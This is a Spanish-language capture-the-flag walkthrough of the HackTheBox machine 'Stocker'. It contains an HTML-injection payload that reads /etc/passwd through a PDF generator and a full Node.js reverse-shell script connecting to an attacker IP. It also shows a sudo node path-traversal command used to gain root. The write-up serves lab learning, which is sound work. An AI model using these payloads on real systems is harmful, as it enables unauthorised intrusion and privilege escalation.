Descripción:#
Maquina sencilla que mediante una inyección NoSQL podemos saltar un login y luego mediante un generador de PDF’s dinamicos listar archivos y hallat credenciales, en la escalada explotamos un permiso de sudoers Node
Enumeración#
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts
Esto nos mostrara que hay dos puertos el 22 y el 80.
whatweb IP
Vemos el dominio que es stocker.htb lo agregamos al /etc/hosts y continuamos con el escaneo de puertos.
nmap -p22,80 -sVC 10.129.184.222 -A -oN target
Vamos a listar subdominios a ver si encontramos algo interesante
<img src=\"x\" onerror=\"document.write('<iframe src=file:///etc/passwd width=100% height=100%></iframe>')\" />
Solo hay dos usuarios con shell root y angoose, ahora vamos a empezar a listar archivos del subdominio dev.stocker.htb suponiendo que por lo general esta en /var/www/dev/ si listamos el index.js:
Hay lo que podria ser una contraseña de lo que parece ser el usuario dev pero si recordamos no hay ningun usuario dev por lo que vamos a probar la contraseña con angoose y nos funcionara mediante ssh.
Root#
Despues de conectarnos hacemos el tratamiento de la tty mas basico:
export TERM=xterm
Listando permisos con sudo -l, y tenemos que hay un binario que podemos ejecutar que es node
Vemos que solo podemos ejecutar los archivos de extension js en la carpeta /usr/local/scripts/ pero podemos tratar de hacer un directory traversal por lo que lo primero que vamos a hacer es entrar a https://www.revshells.com/ y mirar la shell #2 que tienen para node
cd /tmp
nano rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(4444, "IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Ahora lo que vamos a hacer es poner nuestra maquina en escucha y tartar de ejecutar el binario con los permisos sudo.
#Atacante
nc -lvnp 4444
#Victima
sudo node /usr/local/scripts/../../../../tmp/rev.js
Y con esto terminamos la maquina.





